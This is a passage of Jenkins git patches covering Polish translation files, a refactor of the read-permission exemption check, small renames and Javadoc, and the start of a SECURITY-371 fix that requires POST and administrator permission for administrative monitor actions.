eventually\ shut\ down\ safely.=Zatrzyma wykonanie nowych build\u00F3w, tak by system m\u00F3g\u0142 by\u0107 bezpiecznie wy\u0142\u0105czony. -System\ Information=Informacje o systemie -System\ Log=Log systemu -SystemLogText=Log systemowy przechwytuje wyj\u015Bcie z java.util.logging zwi\u0105zane z Jenkinsem. -Useful\ when\ you\ modified\ config\ files\ directly\ on\ disk.=Przydatne gdy modyfikowa\u0142e\u015B pliki konfiguracyjne bezpo\u015Brednio na dysku serwera. are.you.sure={0}: czy jeste\u015B pewien? diff --git a/core/src/main/resources/jenkins/model/Jenkins/oops_pl.properties b/core/src/main/resources/jenkins/model/Jenkins/oops_pl.properties new file mode 100644 index 0000000000..a70107665c --- /dev/null +++ b/core/src/main/resources/jenkins/model/Jenkins/oops_pl.properties @@ -0,0 +1,26 @@ +# The MIT License +# +# Copyright (c) 2016, Damian Szczepanik +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. +Twitter\:\ @jenkinsci=Twitter\:\ @jenkinsci +Mailing\ Lists=Lista mailingowa +Oops!=Oops! +Bug\ tracker=Zg\u0142aszanie b\u0142\u0119d\u00F3w +Jenkins\ project=Projekt Jenkins diff --git a/core/src/main/resources/jenkins/model/Messages_pl.properties b/core/src/main/resources/jenkins/model/Messages_pl.properties index bd0c8dd435..5105a854b6 100644 --- a/core/src/main/resources/jenkins/model/Messages_pl.properties +++ b/core/src/main/resources/jenkins/model/Messages_pl.properties @@ -1,5 +1,28 @@ # The MIT License - +# +# Copyright (c) 2004-2016, Kohsuke Kawaguchi, Sun Microsystems, Inc., and a number of other of contributors +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. BuildDiscarderProperty.displayName=Porzu\u0107 stare zadania ParameterizedJobMixIn.build_with_parameters=Uruchom z parametrami ParameterizedJobMixIn.build_now=Uruchom +# address not configured yet +Mailer.Address.Not.Configured=adres jeszcze nie jest skonfigurowany +# Please set a valid host name, instead of localhost +Mailer.Localhost.Error=Ustaw prawid\u0142ow\u0105 nazw\u0119 hosta, inn\u0105 ni\u017C localhost diff --git a/core/src/main/resources/lib/form/advanced_pl.properties b/core/src/main/resources/lib/form/advanced_pl.properties index 9984dcd778..d0bbf08b26 100644 --- a/core/src/main/resources/lib/form/advanced_pl.properties +++ b/core/src/main/resources/lib/form/advanced_pl.properties @@ -1,6 +1,6 @@ # The MIT License # -# Copyright (c) 2004-2010, Sun Microsystems, Inc. +# Copyright (c) 2004-2016, Kohsuke Kawaguchi, Sun Microsystems, Inc., and a number of other of contributors # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal @@ -21,3 +21,5 @@ # THE SOFTWARE. Advanced=Zaawansowane +# One or more fields in this block have been edited. +customizedFields=Co najmniej jedno pole w tym bloku zosta\u0142o zmodyfikowane diff --git a/core/src/main/resources/lib/form/apply_ca.properties b/core/src/main/resources/lib/form/apply_ca.properties deleted file mode 100644 index 2dc0a2191d..0000000000 --- a/core/src/main/resources/lib/form/apply_ca.properties +++ /dev/null @@ -1,3 +0,0 @@ -# This file is under the MIT License by authors - -Apply=Aplica diff --git a/core/src/main/resources/lib/form/apply_cs.properties b/core/src/main/resources/lib/form/apply_cs.properties deleted file mode 100644 index 71bcb17d35..0000000000 --- a/core/src/main/resources/lib/form/apply_cs.properties +++ /dev/null @@ -1,3 +0,0 @@ -# This file is under the MIT License by authors - -Apply=Pou\u017E\u00EDt diff --git a/core/src/main/resources/lib/form/apply_es.properties b/core/src/main/resources/lib/form/apply_es.properties deleted file mode 100644 index 2fd7068288..0000000000 --- a/core/src/main/resources/lib/form/apply_es.properties +++ /dev/null @@ -1,23 +0,0 @@ -# The MIT License -# -# Copyright (c) 2004-, Kohsuke Kawaguchi, Sun Microsystems, Inc., and a number of other of contributers -# -# Permission is hereby granted, free of charge, to any person obtaining a copy -# of this software and associated documentation files (the "Software"), to deal -# in the Software without restriction, including without limitation the rights -# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -# copies of the Software, and to permit persons to whom the Software is -# furnished to do so, subject to the following conditions: -# -# The above copyright notice and this permission notice shall be included in -# all copies or substantial portions of the Software. -# -# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN -# THE SOFTWARE. - -Apply=Aplicar los cambios diff --git a/core/src/main/resources/lib/form/apply_et.properties b/core/src/main/resources/lib/form/apply_et.properties deleted file mode 100644 index e186484f3a..0000000000 --- a/core/src/main/resources/lib/form/apply_et.properties +++ /dev/null @@ -1,3 +0,0 @@ -# This file is under the MIT License by authors - -Apply=Kinnita diff --git a/core/src/main/resources/lib/form/apply_fr.properties b/core/src/main/resources/lib/form/apply_fr.properties deleted file mode 100644 index 77842f0cc6..0000000000 --- a/core/src/main/resources/lib/form/apply_fr.properties +++ /dev/null @@ -1,23 +0,0 @@ -# The MIT License -# -# Copyright (c) 2012, Kohsuke Kawaguchi, Sun Microsystems, Inc., and a number of other of contributers -# -# Permission is hereby granted, free of charge, to any person obtaining a copy -# of this software and associated documentation files (the "Software"), to deal -# in the Software without restriction, including without limitation the rights -# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -# copies of the Software, and to permit persons to whom the Software is -# furnished to do so, subject to the following conditions: -# -# The above copyright notice and this permission notice shall be included in -# all copies or substantial portions of the Software. -# -# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN -# THE SOFTWARE. - -Apply=Appliquer diff --git a/core/src/main/resources/lib/form/apply_hu.properties b/core/src/main/resources/lib/form/apply_hu.properties deleted file mode 100644 index 132698b0d6..0000000000 --- a/core/src/main/resources/lib/form/apply_hu.properties +++ /dev/null @@ -1,3 +0,0 @@ -# This file is under the MIT License by authors - -Apply=Alkalmaz diff --git a/core/src/main/resources/lib/form/apply_it.properties b/core/src/main/resources/lib/form/apply_it.properties deleted file mode 100644 index aa6783c77f..0000000000 --- a/core/src/main/resources/lib/form/apply_it.properties +++ /dev/null @@ -1,3 +0,0 @@ -# This file is under the MIT License by authors - -Apply=Applica diff --git a/core/src/main/resources/lib/form/apply_ja.properties b/core/src/main/resources/lib/form/apply_ja.properties deleted file mode 100644 index 5ff38bec76..0000000000 --- a/core/src/main/resources/lib/form/apply_ja.properties +++ /dev/null @@ -1,24 +0,0 @@ -# The MIT License -# -# Copyright (c) 2012, Kohsuke Kawaguchi, -# -# Permission is hereby granted, free of charge, to any person obtaining a copy -# of this software and associated documentation files (the "Software"), to deal -# in the Software without restriction, including without limitation the rights -# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -# copies of the Software, and to permit persons to whom the Software is -# furnished to do so, subject to the following conditions: -# -# The above copyright notice and this permission notice shall be included in -# all copies or substantial portions of the Software. -# -# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN -# THE SOFTWARE. - -Apply=\u9069\u7528 - diff --git a/core/src/main/resources/lib/form/apply_ko.properties b/core/src/main/resources/lib/form/apply_ko.properties deleted file mode 100644 index 25b121945a..0000000000 --- a/core/src/main/resources/lib/form/apply_ko.properties +++ /dev/null @@ -1,3 +0,0 @@ -# This file is under the MIT License by authors - -Apply=\uC801\uC6A9 diff --git a/core/src/main/resources/lib/form/apply_nl.properties b/core/src/main/resources/lib/form/apply_nl.properties deleted file mode 100644 index 4781a8fdb2..0000000000 --- a/core/src/main/resources/lib/form/apply_nl.properties +++ /dev/null @@ -1,3 +0,0 @@ -# This file is under the MIT License by authors - -Apply=Toepassen diff --git a/core/src/main/resources/lib/form/apply_pl.properties b/core/src/main/resources/lib/form/apply_pl.properties deleted file mode 100644 index b7aa9252c5..0000000000 --- a/core/src/main/resources/lib/form/apply_pl.properties +++ /dev/null @@ -1,3 +0,0 @@ -# This file is under the MIT License by authors - -Apply=Zastosuj diff --git a/core/src/main/resources/lib/form/apply_pt_BR.properties b/core/src/main/resources/lib/form/apply_pt_BR.properties deleted file mode 100644 index 90235e731c..0000000000 --- a/core/src/main/resources/lib/form/apply_pt_BR.properties +++ /dev/null @@ -1,3 +0,0 @@ -# This file is under the MIT License by authors - -Apply=Aplicar diff --git a/core/src/main/resources/lib/form/apply_ru.properties b/core/src/main/resources/lib/form/apply_ru.properties deleted file mode 100644 index 6c2bddec13..0000000000 --- a/core/src/main/resources/lib/form/apply_ru.properties +++ /dev/null @@ -1,3 +0,0 @@ -# This file is under the MIT License by authors - -Apply=\u041F\u0440\u0438\u043C\u0435\u043D\u0438\u0442\u044C diff --git a/core/src/main/resources/lib/form/apply_sk.properties b/core/src/main/resources/lib/form/apply_sk.properties deleted file mode 100644 index 0325a43d1d..0000000000 --- a/core/src/main/resources/lib/form/apply_sk.properties +++ /dev/null @@ -1,3 +0,0 @@ -# This file is under the MIT License by authors - -Apply=Pou\u017Ei diff --git a/core/src/main/resources/lib/form/apply_sr.properties b/core/src/main/resources/lib/form/apply_sr.properties deleted file mode 100644 index c5e16ef3c9..0000000000 --- a/core/src/main/resources/lib/form/apply_sr.properties +++ /dev/null @@ -1,3 +0,0 @@ -# This file is under the MIT License by authors - -Apply=\u041F\u0440\u0438\u043C\u0435\u043D\u0438 diff --git a/core/src/main/resources/lib/form/apply_sv_SE.properties b/core/src/main/resources/lib/form/apply_sv_SE.properties deleted file mode 100644 index 578751a2b0..0000000000 --- a/core/src/main/resources/lib/form/apply_sv_SE.properties +++ /dev/null @@ -1,3 +0,0 @@ -# This file is under the MIT License by authors - -Apply=Verkst\u00E4ll diff --git a/core/src/main/resources/lib/form/apply_zh_CN.properties b/core/src/main/resources/lib/form/apply_zh_CN.properties deleted file mode 100644 index 18fe4b3fce..0000000000 --- a/core/src/main/resources/lib/form/apply_zh_CN.properties +++ /dev/null @@ -1,3 +0,0 @@ -# This file is under the MIT License by authors - -Apply=\u5E94\u7528 diff --git a/core/src/main/resources/lib/hudson/executors_pl.properties b/core/src/main/resources/lib/hudson/executors_pl.properties index 015941013b..019f15b550 100644 --- a/core/src/main/resources/lib/hudson/executors_pl.properties +++ b/core/src/main/resources/lib/hudson/executors_pl.properties @@ -1,6 +1,6 @@ # The MIT License # -# Copyright (c) 2004-2010, Sun Microsystems, Inc. +# Copyright (c) 2004-2016, Kohsuke Kawaguchi, Sun Microsystems, Inc., and a number of other of contributors # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal @@ -21,8 +21,6 @@ # THE SOFTWARE. Build\ Executor\ Status=Status wykonawc\u00F3w zada\u0144 -Building=Buduje -Dead=Niedost\u0119pny Idle=Bezczynny Unknown\ Task=Nieznane zadanie offline=roz\u0142\u0105czony diff --git a/core/src/main/resources/lib/form/apply_bg.properties b/core/src/main/resources/lib/hudson/project/config-buildWrappers_pl.properties similarity index 87% rename from core/src/main/resources/lib/form/apply_bg.properties rename to core/src/main/resources/lib/hudson/project/config-buildWrappers_pl.properties index 673c532564..e98932b414 100644 --- a/core/src/main/resources/lib/form/apply_bg.properties +++ b/core/src/main/resources/lib/hudson/project/config-buildWrappers_pl.properties @@ -1,6 +1,6 @@ # The MIT License # -# Bulgarian translation: Copyright (c) 2015, 2016, Alexander Shopov +# Copyright (c) 2004-2016, Kohsuke Kawaguchi, Sun Microsystems, Inc., and a number of other of contributors # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal @@ -19,6 +19,4 @@ # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. - -Apply=\ - \u041f\u0440\u0438\u043b\u0430\u0433\u0430\u043d\u0435 +Build\ Environment=\u015Arodowisko do budowania diff --git a/core/src/main/resources/lib/hudson/project/config-disableBuild_pl.properties b/core/src/main/resources/lib/hudson/project/config-disableBuild_pl.properties index dbf0f019a5..dca0704a66 100644 --- a/core/src/main/resources/lib/hudson/project/config-disableBuild_pl.properties +++ b/core/src/main/resources/lib/hudson/project/config-disableBuild_pl.properties @@ -1,4 +1,23 @@ -# This file is under the MIT License by authors +# The MIT License +# +# Copyright (c) 2004-2016, Kohsuke Kawaguchi, Sun Microsystems, Inc., and a number of other of contributors +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. Disable\ this\ project=Zablokuj zadania -No\ new\ builds\ will\ be\ executed\ until\ the\ project\ is\ re-enabled.=Nowe zadania nie b\u0119d\u0105 wykonywane dop\u00F3ki projekt nie b\u0119dzie odblokowany diff --git a/core/src/main/resources/lib/hudson/queue_pl.properties b/core/src/main/resources/lib/hudson/queue_pl.properties index a326a1933f..1520fdffaa 100644 --- a/core/src/main/resources/lib/hudson/queue_pl.properties +++ b/core/src/main/resources/lib/hudson/queue_pl.properties @@ -1,6 +1,6 @@ # The MIT License # -# Copyright (c) 2004-2010, Sun Microsystems, Inc. +# Copyright (c) 2004-2016, Kohsuke Kawaguchi, Sun Microsystems, Inc., and a number of other of contributors # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal @@ -24,5 +24,4 @@ Build\ Queue=Kolejka zada\u0144{0,choice,0#|0< ({0,number})} Jenkins\ is\ going\ to\ shut\ down.\ No\ further\ builds\ will\ be\ performed.=Jenkins przygotowuje si\u0119 do wy\u0142\u0105czenia. Uruchamianie nast\u0119pnych kompilacji zosta\u0142o wstrzymane. No\ builds\ in\ the\ queue.=Nie ma zada\u0144 w kolejce WaitingFor=Czeka na {0} -WaitingSince=Oczekiwanie od {0} cancel=anuluj -- GitLab From 0060335b8cf6d36641bd610817bae98873c32746 Mon Sep 17 00:00:00 2001 From: Bryson Gibbons Date: Thu, 15 Dec 2016 14:49:13 -0800 Subject: [PATCH 596/811] =?UTF-8?q?[JENKINS-32797]=20Break=20the=20catch?= =?UTF-8?q?=20clause=20contents=20of=20Jenkins.getTarget(=E2=80=A6=20(#265?= =?UTF-8?q?2)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * [JENKINS-32797] Break the catch clause contents of Jenkins.getTarget() out into a separate, publicly accessible function. This will allow plugins (particularly authentication plugins that override the normal authentication process) to determine if authentication is not required for a particular path by calling isPathUnprotected(restOfPath). * Add @since TODO to comment * Change name of function to something that is accurate and clear isPathUnprotected is misleading, and the Javadoc was worse. isSubjectToMandatoryReadPermissionCheck is a much better name, and the return value is reversed to match the name, --- core/src/main/java/jenkins/model/Jenkins.java | 45 ++++++++++++------- 1 file changed, 29 insertions(+), 16 deletions(-) diff --git a/core/src/main/java/jenkins/model/Jenkins.java b/core/src/main/java/jenkins/model/Jenkins.java index 7c61deebdd..d7d69c9394 100644 --- a/core/src/main/java/jenkins/model/Jenkins.java +++ b/core/src/main/java/jenkins/model/Jenkins.java @@ -4549,29 +4549,42 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve try { checkPermission(READ); } catch (AccessDeniedException e) { - String rest = Stapler.getCurrentRequest().getRestOfPath(); - for (String name : ALWAYS_READABLE_PATHS) { - if (rest.startsWith(name)) { - return this; - } - } - for (String name : getUnprotectedRootActions()) { - if (rest.startsWith("/" + name + "/") || rest.equals("/" + name)) { - return this; - } - } - - // TODO SlaveComputer.doSlaveAgentJnlp; there should be an annotation to request unprotected access - if (rest.matches("/computer/[^/]+/slave-agent[.]jnlp") - && "true".equals(Stapler.getCurrentRequest().getParameter("encrypt"))) { + if (!isSubjectToMandatoryReadPermissionCheck(Stapler.getCurrentRequest().getRestOfPath())) { return this; } - throw e; } return this; } + + /** + * Test a path to see if it is subject to mandatory read permission checks by container-managed security + * @param restOfPath the URI, excluding the Jenkins root URI and query string + * @return true if the path is subject to mandatory read permission checks + * @since TODO + */ + public boolean isSubjectToMandatoryReadPermissionCheck(String restOfPath) { + for (String name : ALWAYS_READABLE_PATHS) { + if (restOfPath.startsWith(name)) { + return false; + } + } + + for (String name : getUnprotectedRootActions()) { + if (restOfPath.startsWith("/" + name + "/") || restOfPath.equals("/" + name)) { + return false; + } + } + + // TODO SlaveComputer.doSlaveAgentJnlp; there should be an annotation to request unprotected access + if (restOfPath.matches("/computer/[^/]+/slave-agent[.]jnlp") + && "true".equals(Stapler.getCurrentRequest().getParameter("encrypt"))) { + return false; + } + + return true; + } /** * Gets a list of unprotected root actions. -- GitLab From 9c23a30e674137bc9d8fbed4cc31f9098266949f Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Fri, 16 Dec 2016 00:03:06 +0100 Subject: [PATCH 597/811] [FIXED JENKINS-40489] - Fix Jenkins initialization stage names --- core/src/main/java/jenkins/model/Jenkins.java | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/core/src/main/java/jenkins/model/Jenkins.java b/core/src/main/java/jenkins/model/Jenkins.java index d7d69c9394..8ba424fce7 100644 --- a/core/src/main/java/jenkins/model/Jenkins.java +++ b/core/src/main/java/jenkins/model/Jenkins.java @@ -3044,7 +3044,7 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve }); for (final File subdir : subdirs) { - g.requires(loadJenkins).attains(JOB_LOADED).notFatal().add("Loading job "+subdir.getName(),new Executable() { + g.requires(loadJenkins).attains(JOB_LOADED).notFatal().add("Loading item " + subdir.getName(), new Executable() { public void run(Reactor session) throws Exception { if(!Items.getConfigFile(subdir).exists()) { //Does not have job config file, so it is not a jenkins job hence skip it @@ -3057,7 +3057,7 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve }); } - g.requires(JOB_LOADED).add("Cleaning up old builds",new Executable() { + g.requires(JOB_LOADED).add("Cleaning up obsolete items deleted from the disk", new Executable() { public void run(Reactor reactor) throws Exception { // anything we didn't load from disk, throw them away. // doing this after loading from disk allows newly loaded items -- GitLab From 6ce8cafcddf69756592de36d196c5748995c3496 Mon Sep 17 00:00:00 2001 From: Stephen Connolly Date: Thu, 15 Dec 2016 23:13:50 +0000 Subject: [PATCH 598/811] Oleg wanted Javadoc commend --- core/src/main/java/hudson/util/RunList.java | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/core/src/main/java/hudson/util/RunList.java b/core/src/main/java/hudson/util/RunList.java index 1106886ec0..8b9bd7683d 100644 --- a/core/src/main/java/hudson/util/RunList.java +++ b/core/src/main/java/hudson/util/RunList.java @@ -76,6 +76,15 @@ public class RunList extends AbstractList { this.base = combine(runLists); } + /** + * Createsa a {@link RunList} combining all the runs of the supplied jobs. + * + * @param jobs the supplied jobs. + * @param the base class of job. + * @param the base class of run. + * @return the run list. + * @since FIXME + */ public static , R extends Run> RunList fromJobs(Iterable jobs) { List> runLists = new ArrayList<>(); for (Job j : jobs) -- GitLab From 8126525582cb199a4dd6c520f868d747f5398577 Mon Sep 17 00:00:00 2001 From: Andrew Bayer Date: Tue, 29 Nov 2016 12:03:40 -0800 Subject: [PATCH 599/811] [SECURITY-371] Ensure admin access for all AdministrativeMonitor actions. --- .../diagnosis/HudsonHomeDiskUsageMonitor.java | 3 +- .../java/hudson/diagnosis/OldDataMonitor.java | 1 + .../diagnosis/ReverseProxySetupMonitor.java | 2 + .../diagnosis/TooManyJobsButNoView.java | 2 + .../hudson/model/AdministrativeMonitor.java | 14 +++++- .../diagnostics/SecurityIsOffMonitor.java | 2 + .../security/RekeySecretAdminMonitor.java | 11 +---- .../security/s2m/AdminCallableMonitor.java | 2 + .../security/s2m/MasterKillSwitchWarning.java | 2 + .../HudsonHomeDiskUsageMonitorTest.java | 47 +++++++++++++++++++ 10 files changed, 73 insertions(+), 13 deletions(-) diff --git a/core/src/main/java/hudson/diagnosis/HudsonHomeDiskUsageMonitor.java b/core/src/main/java/hudson/diagnosis/HudsonHomeDiskUsageMonitor.java index bb4e8e5040..678a8a067d 100644 --- a/core/src/main/java/hudson/diagnosis/HudsonHomeDiskUsageMonitor.java +++ b/core/src/main/java/hudson/diagnosis/HudsonHomeDiskUsageMonitor.java @@ -24,7 +24,6 @@ package hudson.diagnosis; import hudson.model.AdministrativeMonitor; -import jenkins.model.Jenkins; import hudson.model.AbstractModelObject; import hudson.Extension; import hudson.ExtensionPoint; @@ -32,6 +31,7 @@ import hudson.ExtensionList; import org.kohsuke.stapler.HttpResponse; import org.kohsuke.stapler.HttpResponses; import org.kohsuke.stapler.QueryParameter; +import org.kohsuke.stapler.interceptor.RequirePOST; import java.io.IOException; import java.util.List; @@ -64,6 +64,7 @@ public final class HudsonHomeDiskUsageMonitor extends AdministrativeMonitor { /** * Depending on whether the user said "yes" or "no", send him to the right place. */ + @RequirePOST public HttpResponse doAct(@QueryParameter String no) throws IOException { if(no!=null) { disable(true); diff --git a/core/src/main/java/hudson/diagnosis/OldDataMonitor.java b/core/src/main/java/hudson/diagnosis/OldDataMonitor.java index b955cd2178..3f31c0fe92 100644 --- a/core/src/main/java/hudson/diagnosis/OldDataMonitor.java +++ b/core/src/main/java/hudson/diagnosis/OldDataMonitor.java @@ -52,6 +52,7 @@ import java.util.concurrent.ConcurrentMap; import java.util.logging.Level; import java.util.logging.Logger; import javax.annotation.CheckForNull; + import jenkins.model.Jenkins; import org.acegisecurity.context.SecurityContext; import org.acegisecurity.context.SecurityContextHolder; diff --git a/core/src/main/java/hudson/diagnosis/ReverseProxySetupMonitor.java b/core/src/main/java/hudson/diagnosis/ReverseProxySetupMonitor.java index 94412637bf..06630a94b2 100644 --- a/core/src/main/java/hudson/diagnosis/ReverseProxySetupMonitor.java +++ b/core/src/main/java/hudson/diagnosis/ReverseProxySetupMonitor.java @@ -36,6 +36,7 @@ import java.util.logging.Level; import java.util.logging.Logger; import jenkins.model.Jenkins; import org.kohsuke.stapler.Stapler; +import org.kohsuke.stapler.interceptor.RequirePOST; /** * Looks out for a broken reverse proxy setup that doesn't rewrite the location header correctly. @@ -85,6 +86,7 @@ public class ReverseProxySetupMonitor extends AdministrativeMonitor { /** * Depending on whether the user said "yes" or "no", send him to the right place. */ + @RequirePOST public HttpResponse doAct(@QueryParameter String no) throws IOException { if(no!=null) { // dismiss disable(true); diff --git a/core/src/main/java/hudson/diagnosis/TooManyJobsButNoView.java b/core/src/main/java/hudson/diagnosis/TooManyJobsButNoView.java index 80ea45c9e6..4c5599782b 100644 --- a/core/src/main/java/hudson/diagnosis/TooManyJobsButNoView.java +++ b/core/src/main/java/hudson/diagnosis/TooManyJobsButNoView.java @@ -28,6 +28,7 @@ import jenkins.model.Jenkins; import hudson.Extension; import org.kohsuke.stapler.StaplerRequest; import org.kohsuke.stapler.StaplerResponse; +import org.kohsuke.stapler.interceptor.RequirePOST; import java.io.IOException; @@ -49,6 +50,7 @@ public class TooManyJobsButNoView extends AdministrativeMonitor { /** * Depending on whether the user said "yes" or "no", send him to the right place. */ + @RequirePOST public void doAct(StaplerRequest req, StaplerResponse rsp) throws IOException { if(req.hasParameter("no")) { disable(true); diff --git a/core/src/main/java/hudson/model/AdministrativeMonitor.java b/core/src/main/java/hudson/model/AdministrativeMonitor.java index a8e5554092..c43f2dae0d 100644 --- a/core/src/main/java/hudson/model/AdministrativeMonitor.java +++ b/core/src/main/java/hudson/model/AdministrativeMonitor.java @@ -34,8 +34,10 @@ import java.util.Set; import java.io.IOException; import jenkins.model.Jenkins; +import org.kohsuke.stapler.StaplerProxy; import org.kohsuke.stapler.StaplerRequest; import org.kohsuke.stapler.StaplerResponse; +import org.kohsuke.stapler.interceptor.RequirePOST; /** * Checks the health of a subsystem of Jenkins and if there's something @@ -75,7 +77,7 @@ import org.kohsuke.stapler.StaplerResponse; * @see Jenkins#administrativeMonitors */ @LegacyInstancesAreScopedToHudson -public abstract class AdministrativeMonitor extends AbstractModelObject implements ExtensionPoint { +public abstract class AdministrativeMonitor extends AbstractModelObject implements ExtensionPoint, StaplerProxy { /** * Human-readable ID of this monitor, which needs to be unique within the system. * @@ -143,12 +145,20 @@ public abstract class AdministrativeMonitor extends AbstractModelObject implemen /** * URL binding to disable this monitor. */ + @RequirePOST public void doDisable(StaplerRequest req, StaplerResponse rsp) throws IOException { - Jenkins.getInstance().checkPermission(Jenkins.ADMINISTER); disable(true); rsp.sendRedirect2(req.getContextPath()+"/manage"); } + /** + * Requires ADMINISTER permission for any operation in here. + */ + public Object getTarget() { + Jenkins.getInstance().checkPermission(Jenkins.ADMINISTER); + return this; + } + /** * All registered {@link AdministrativeMonitor} instances. */ diff --git a/core/src/main/java/jenkins/diagnostics/SecurityIsOffMonitor.java b/core/src/main/java/jenkins/diagnostics/SecurityIsOffMonitor.java index 23148724b2..48683bb0d9 100644 --- a/core/src/main/java/jenkins/diagnostics/SecurityIsOffMonitor.java +++ b/core/src/main/java/jenkins/diagnostics/SecurityIsOffMonitor.java @@ -5,6 +5,7 @@ import hudson.model.AdministrativeMonitor; import jenkins.model.Jenkins; import org.kohsuke.stapler.StaplerRequest; import org.kohsuke.stapler.StaplerResponse; +import org.kohsuke.stapler.interceptor.RequirePOST; import java.io.IOException; @@ -27,6 +28,7 @@ public class SecurityIsOffMonitor extends AdministrativeMonitor { /** * Depending on whether the user said "yes" or "no", send him to the right place. */ + @RequirePOST public void doAct(StaplerRequest req, StaplerResponse rsp) throws IOException { if(req.hasParameter("no")) { disable(true); diff --git a/core/src/main/java/jenkins/security/RekeySecretAdminMonitor.java b/core/src/main/java/jenkins/security/RekeySecretAdminMonitor.java index ea96951bcf..bf5d361060 100644 --- 